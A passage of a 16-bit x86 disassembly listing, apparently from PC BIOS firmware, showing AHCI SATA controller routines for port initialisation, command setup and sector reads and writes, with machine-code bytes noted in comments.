lea si, [bx+004h] ; 8d 77 04
mov dx, si ; 89 f2
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
or AL, strict byte 011h ; 0c 11
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [di+00138h] ; 8d 85 38 01
cwd ; 99
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, strict word 00001h ; b8 01 00
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00110h ; 05 10 01
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea dx, [bx+004h] ; 8d 57 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
test dh, 040h ; f6 c6 40
jne short 08a2fh ; 75 04
test AL, strict byte 001h ; a8 01
je short 08a33h ; 74 04
mov AL, strict byte 001h ; b0 01
jmp short 08a35h ; eb 02
xor al, al ; 30 c0
test al, al ; 84 c0
je short 08a01h ; 74 c8
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
mov di, ax ; 89 c7
sal di, CL ; d3 e7
lea ax, [di+00110h] ; 8d 85 10 01
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea si, [bx+004h] ; 8d 77 04
mov dx, si ; 89 f2
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
or AL, strict byte 001h ; 0c 01
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [di+00118h] ; 8d 85 18 01
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov dx, si ; 89 f2
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
and AL, strict byte 0feh ; 24 fe
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
ahci_cmd_data_: ; 0xf8aa5 LB 0x262
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 0000ch ; 83 ec 0c
push ax ; 50
push dx ; 52
mov byte [bp-008h], bl ; 88 5e f8
xor di, di ; 31 ff
mov es, dx ; 8e c2
mov bx, ax ; 89 c3
mov ax, word [es:bx+00232h] ; 26 8b 87 32 02
mov word [bp-00ah], ax ; 89 46 f6
mov word [bp-00eh], di ; 89 7e f2
mov word [bp-00ch], ax ; 89 46 f4
mov ax, word [es:bx+00eh] ; 26 8b 47 0e
mov word [bp-010h], ax ; 89 46 f0
mov ax, word [es:bx+010h] ; 26 8b 47 10
mov word [bp-012h], ax ; 89 46 ee
mov cx, strict word 00040h ; b9 40 00
xor bx, bx ; 31 db
mov ax, 00080h ; b8 80 00
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a1c0h ; e8 dd 16
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di+00080h], 08027h ; 26 c7 85 80 00 27 80
mov al, byte [bp-008h] ; 8a 46 f8
mov byte [es:di+00082h], al ; 26 88 85 82 00
mov byte [es:di+00083h], 000h ; 26 c6 85 83 00 00
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov ax, word [es:bx] ; 26 8b 07
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+00084h], al ; 26 88 85 84 00
mov es, [bp-016h] ; 8e 46 ea
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00008h ; be 08 00
call 0a1a0h ; e8 79 16
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+00085h], dl ; 26 88 95 85 00
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00010h ; be 10 00
call 0a1a0h ; e8 53 16
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+00086h], dl ; 26 88 95 86 00
mov byte [es:di+00087h], 040h ; 26 c6 85 87 00 40
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00018h ; be 18 00
call 0a1a0h ; e8 27 16
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+00088h], dl ; 26 88 95 88 00
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00020h ; be 20 00
call 0a1a0h ; e8 01 16
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+00089h], dl ; 26 88 95 89 00
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov bx, word [es:bx+004h] ; 26 8b 5f 04
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+002h] ; 26 8b 4c 02
mov dx, word [es:si] ; 26 8b 14
mov si, strict word 00028h ; be 28 00
call 0a1a0h ; e8 db 15
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+0008ah], dl ; 26 88 95 8a 00
mov byte [es:di+0008bh], 000h ; 26 c6 85 8b 00 00
mov al, byte [bp-010h] ; 8a 46 f0
mov byte [es:di+0008ch], al ; 26 88 85 8c 00
mov al, byte [bp-00fh] ; 8a 46 f1
mov byte [es:di+0008dh], al ; 26 88 85 8d 00
mov word [es:di+00276h], strict word 00010h ; 26 c7 85 76 02 10 00
mov ax, word [bp-010h] ; 8b 46 f0
xor dx, dx ; 31 d2
mov bx, word [bp-012h] ; 8b 5e ee
xor cx, cx ; 31 c9
call 0a150h ; e8 59 15
push dx ; 52
push ax ; 50
mov es, [bp-016h] ; 8e 46 ea
mov bx, word [bp-014h] ; 8b 5e ec
mov bx, word [es:bx+008h] ; 26 8b 5f 08
mov si, word [bp-014h] ; 8b 76 ec
mov cx, word [es:si+00ah] ; 26 8b 4c 0a
mov ax, 0026ah ; b8 6a 02
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a0abh ; e8 98 14
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:di+0027eh] ; 26 8b 95 7e 02
add dx, strict byte 0ffffh ; 83 c2 ff
mov ax, word [es:di+00280h] ; 26 8b 85 80 02
adc ax, strict word 0ffffh ; 15 ff ff
mov bl, byte [es:di+00263h] ; 26 8a 9d 63 02
xor bh, bh ; 30 ff
mov CL, strict byte 004h ; b1 04
sal bx, CL ; d3 e3
mov word [es:bx+0010ch], dx ; 26 89 97 0c 01
mov word [es:bx+0010eh], ax ; 26 89 87 0e 01
mov bl, byte [es:di+00263h] ; 26 8a 9d 63 02
xor bh, bh ; 30 ff
sal bx, CL ; d3 e3
mov ax, word [es:di+0027ah] ; 26 8b 85 7a 02
mov dx, word [es:di+0027ch] ; 26 8b 95 7c 02
mov word [es:bx+00100h], ax ; 26 89 87 00 01
mov word [es:bx+00102h], dx ; 26 89 97 02 01
inc byte [es:di+00263h] ; 26 fe 85 63 02
mov es, [bp-016h] ; 8e 46 ea
mov bx, si ; 89 f3
mov ax, word [es:bx+020h] ; 26 8b 47 20
test ax, ax ; 85 c0
je short 08ca3h ; 74 39
dec ax ; 48
mov es, [bp-00ah] ; 8e 46 f6
mov bl, byte [es:di+00263h] ; 26 8a 9d 63 02
xor bh, bh ; 30 ff
sal bx, CL ; d3 e3
mov word [es:bx+0010ch], ax ; 26 89 87 0c 01
mov word [es:bx+0010eh], di ; 26 89 bf 0e 01
mov bl, byte [es:di+00263h] ; 26 8a 9d 63 02
xor bh, bh ; 30 ff
sal bx, CL ; d3 e3
mov ax, word [es:di+00264h] ; 26 8b 85 64 02
mov dx, word [es:di+00266h] ; 26 8b 95 66 02
mov word [es:bx+00100h], ax ; 26 89 87 00 01
mov word [es:bx+00102h], dx ; 26 89 97 02 01
inc byte [es:di+00263h] ; 26 fe 85 63 02
mov al, byte [bp-008h] ; 8a 46 f8
cmp AL, strict byte 035h ; 3c 35
jne short 08cb0h ; 75 06
mov byte [bp-008h], 040h ; c6 46 f8 40
jmp short 08cc7h ; eb 17
cmp AL, strict byte 0a0h ; 3c a0
jne short 08cc3h ; 75 0f
or byte [bp-008h], 020h ; 80 4e f8 20
les bx, [bp-00eh] ; c4 5e f2
or byte [es:bx+00083h], 001h ; 26 80 8f 83 00 01
jmp short 08cc7h ; eb 04
mov byte [bp-008h], 000h ; c6 46 f8 00
or byte [bp-008h], 005h ; 80 4e f8 05
mov bl, byte [bp-008h] ; 8a 5e f8
xor bh, bh ; 30 ff
mov ax, word [bp-00eh] ; 8b 46 f2
mov dx, word [bp-00ch] ; 8b 56 f4
call 0894ch ; e8 73 fc
mov cx, word [bp-00ch] ; 8b 4e f4
mov bx, word [bp-00eh] ; 8b 5e f2
add bx, 00240h ; 81 c3 40 02
mov ax, word [bp-00eh] ; 8b 46 f2
add ax, 0026ah ; 05 6a 02
mov dx, cx ; 89 ca
call 0a122h ; e8 34 14
mov es, cx ; 8e c1
mov al, byte [es:bx+003h] ; 26 8a 47 03
test al, al ; 84 c0
je short 08cfdh ; 74 05
mov ax, strict word 00004h ; b8 04 00
jmp short 08cffh ; eb 02
xor ah, ah ; 30 e4
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
ahci_port_deinit_current_: ; 0xf8d07 LB 0x183
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov di, ax ; 89 c7
mov word [bp-00eh], dx ; 89 56 f2
mov es, dx ; 8e c2
mov si, word [es:di+00260h] ; 26 8b b5 60 02
mov al, byte [es:di+00262h] ; 26 8a 85 62 02
mov byte [bp-00ah], al ; 88 46 f6
cmp AL, strict byte 0ffh ; 3c ff
je short 08d8ah ; 74 61
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00118h ; 05 18 01
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea bx, [si+004h] ; 8d 5c 04
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
and AL, strict byte 0eeh ; 24 ee
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov al, byte [bp-00ah] ; 8a 46 f6
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00118h ; 05 18 01
xor cx, cx ; 31 c9
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea dx, [si+004h] ; 8d 54 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
test ax, 0c011h ; a9 11 c0
je short 08d8dh ; 74 07
mov AL, strict byte 001h ; b0 01
jmp short 08d8fh ; eb 05
jmp near 08e81h ; e9 f4 00
xor al, al ; 30 c0
cmp AL, strict byte 001h ; 3c 01
je short 08d5ch ; 74 c9
mov cx, strict word 00020h ; b9 20 00
xor bx, bx ; 31 db
mov ax, di ; 89 f8
mov dx, word [bp-00eh] ; 8b 56 f2
call 0a1c0h ; e8 20 14
lea ax, [di+00080h] ; 8d 85 80 00
mov cx, strict word 00040h ; b9 40 00
xor bx, bx ; 31 db
mov dx, word [bp-00eh] ; 8b 56 f2
call 0a1c0h ; e8 11 14
lea ax, [di+00200h] ; 8d 85 00 02
mov cx, strict word 00060h ; b9 60 00
xor bx, bx ; 31 db
mov dx, word [bp-00eh] ; 8b 56 f2
call 0a1c0h ; e8 02 14
mov al, byte [bp-00ah] ; 8a 46 f6
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
mov word [bp-00ch], ax ; 89 46 f4
add ax, 00108h ; 05 08 01
cwd ; 99
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea bx, [si+004h] ; 8d 5c 04
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, 0010ch ; 05 0c 01
cwd ; 99
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, word [bp-00ch] ; 8b 46 f4
db 0feh, 0c4h
; inc ah ; fe c4
cwd ; 99
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, 00104h ; 05 04 01
cwd ; 99
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, word [bp-00ch] ; 8b 46 f4
add ax, 00114h ; 05 14 01
cwd ; 99
mov cx, dx ; 89 d1
mov dx, si ; 89 f2
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00eh] ; 8e 46 f2
mov byte [es:di+00262h], 0ffh ; 26 c6 85 62 02 ff
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
ahci_port_init_: ; 0xf8e8a LB 0x250
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, ax ; 89 c6
mov word [bp-00ah], dx ; 89 56 f6
mov byte [bp-008h], bl ; 88 5e f8
call 08d07h ; e8 69 fe
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00118h ; 05 18 01
mov es, [bp-00ah] ; 8e 46 f6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
add bx, strict byte 00004h ; 83 c3 04
mov dx, bx ; 89 da
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
and AL, strict byte 0eeh ; 24 ee
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov CL, strict byte 007h ; b1 07
sal ax, CL ; d3 e0
add ax, 00118h ; 05 18 01
mov es, [bp-00ah] ; 8e 46 f6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
xor cx, cx ; 31 c9
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea dx, [bx+004h] ; 8d 57 04
in eax, DX ; 66 ed
db 08bh, 0d0h
; mov dx, ax ; 8b d0
shr eax, 010h ; 66 c1 e8 10
xchg dx, ax ; 92
test ax, 0c011h ; a9 11 c0
je short 08f11h ; 74 04
mov AL, strict byte 001h ; b0 01
jmp short 08f13h ; eb 02
xor al, al ; 30 c0
cmp AL, strict byte 001h ; 3c 01
je short 08edbh ; 74 c4
mov cx, strict word 00020h ; b9 20 00
xor bx, bx ; 31 db
mov ax, si ; 89 f0
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a1c0h ; e8 9c 12
lea ax, [si+00080h] ; 8d 84 80 00
mov cx, strict word 00040h ; b9 40 00
xor bx, bx ; 31 db
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a1c0h ; e8 8d 12
lea di, [si+00200h] ; 8d bc 00 02
mov cx, strict word 00060h ; b9 60 00
xor bx, bx ; 31 db
mov ax, di ; 89 f8
mov dx, word [bp-00ah] ; 8b 56 f6
call 0a1c0h ; e8 7c 12
mov bl, byte [bp-008h] ; 8a 5e f8
xor bh, bh ; 30 ff
mov CL, strict byte 007h ; b1 07
sal bx, CL ; d3 e3
lea ax, [bx+00108h] ; 8d 87 08 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov cx, word [es:si+00260h] ; 26 8b 8c 60 02
mov word [bp-00ch], cx ; 89 4e f4
mov cx, dx ; 89 d1
mov dx, word [bp-00ch] ; 8b 56 f4
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, di ; 89 f8
mov dx, word [bp-00ah] ; 8b 56 f6
call 0892eh ; e8 bb f9
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
add di, strict byte 00004h ; 83 c7 04
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+0010ch] ; 8d 87 0c 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+00100h] ; 8d 87 00 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov ax, si ; 89 f0
mov dx, word [bp-00ah] ; 8b 56 f6
call 0892eh ; e8 4f f9
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
add di, strict byte 00004h ; 83 c7 04
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+00104h] ; 8d 87 04 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+00114h] ; 8d 87 14 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
xor ax, ax ; 31 c0
xor cx, cx ; 31 c9
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+00110h] ; 8d 87 10 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov di, word [es:si+00260h] ; 26 8b bc 60 02
mov cx, dx ; 89 d1
mov dx, di ; 89 fa
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
mov ax, strict word 0ffffh ; b8 ff ff
mov cx, ax ; 89 c1
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
lea ax, [bx+00130h] ; 8d 87 30 01
cwd ; 99
mov es, [bp-00ah] ; 8e 46 f6
mov bx, word [es:si+00260h] ; 26 8b 9c 60 02
mov cx, dx ; 89 d1
mov dx, bx ; 89 da
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov es, [bp-00ah] ; 8e 46 f6
mov dx, word [es:si+00260h] ; 26 8b 94 60 02
add dx, strict byte 00004h ; 83 c2 04
mov ax, strict word 0ffffh ; b8 ff ff
mov cx, ax ; 89 c1
xchg cx, ax ; 91
sal eax, 010h ; 66 c1 e0 10
db 08bh, 0c1h
; mov ax, cx ; 8b c1
out DX, eax ; 66 ef
mov al, byte [bp-008h] ; 8a 46 f8
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:si+00262h], al ; 26 88 84 62 02
mov byte [es:si+00263h], 000h ; 26 c6 84 63 02 00
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
@ahci_read_sectors: ; 0xf90da LB 0xaa
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
les bx, [bp+004h] ; c4 5e 04
mov al, byte [es:bx+00ch] ; 26 8a 47 0c
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
sub di, strict byte 0000ch ; 83 ef 0c
cmp di, strict byte 00004h ; 83 ff 04
jbe short 09105h ; 76 13
push di ; 57
mov ax, 00c62h ; b8 62 0c
push ax ; 50
mov ax, 00c74h ; b8 74 0c
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 74 88
add sp, strict byte 00008h ; 83 c4 08
xor bx, bx ; 31 db
les si, [bp+004h] ; c4 76 04
mov dx, word [es:si+00232h] ; 26 8b 94 32 02
shr eax, 010h ; 66 c1 e8 10
mov es, dx ; 8e c2
mov word [es:bx+00268h], ax ; 26 89 87 68 02
mov es, [bp+006h] ; 8e 46 06
add di, si ; 01 f7
mov bl, byte [es:di+0022dh] ; 26 8a 9d 2d 02
xor bh, bh ; 30 ff
mov dx, word [es:si+00232h] ; 26 8b 94 32 02
xor ax, ax ; 31 c0
call 08e8ah ; e8 5a fd
mov bx, strict word 00025h ; bb 25 00
mov ax, si ; 89 f0
mov dx, word [bp+006h] ; 8b 56 06
call 08aa5h ; e8 6a f9
mov bx, ax ; 89 c3
mov es, [bp+006h] ; 8e 46 06
mov ax, word [es:si+00eh] ; 26 8b 44 0e
mov word [es:si+018h], ax ; 26 89 44 18
mov CL, strict byte 009h ; b1 09
sal ax, CL ; d3 e0
mov cx, ax ; 89 c1
shr cx, 1 ; d1 e9
mov di, si ; 89 f7
mov di, word [es:di+008h] ; 26 8b 7d 08
mov ax, word [es:si+00ah] ; 26 8b 44 0a
mov si, di ; 89 fe
mov dx, ax ; 89 c2
mov es, ax ; 8e c0
push DS ; 1e
mov ds, dx ; 8e da
rep movsw ; f3 a5
pop DS ; 1f
xor di, di ; 31 ff
les si, [bp+004h] ; c4 76 04
mov es, [es:si+00232h] ; 26 8e 84 32 02
mov ax, word [es:di+00268h] ; 26 8b 85 68 02
sal eax, 010h ; 66 c1 e0 10
mov ax, bx ; 89 d8
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
@ahci_write_sectors: ; 0xf9184 LB 0x88
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
mov si, word [bp+004h] ; 8b 76 04
mov cx, word [bp+006h] ; 8b 4e 06
mov es, cx ; 8e c1
mov bl, byte [es:si+00ch] ; 26 8a 5c 0c
xor bh, bh ; 30 ff
sub bx, strict byte 0000ch ; 83 eb 0c
cmp bx, strict byte 00004h ; 83 fb 04
jbe short 091b2h ; 76 13
push bx ; 53
mov ax, 00c93h ; b8 93 0c
push ax ; 50
mov ax, 00c74h ; b8 74 0c
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 c7 87
add sp, strict byte 00008h ; 83 c4 08
xor di, di ; 31 ff
mov es, cx ; 8e c1
mov dx, word [es:si+00232h] ; 26 8b 94 32 02
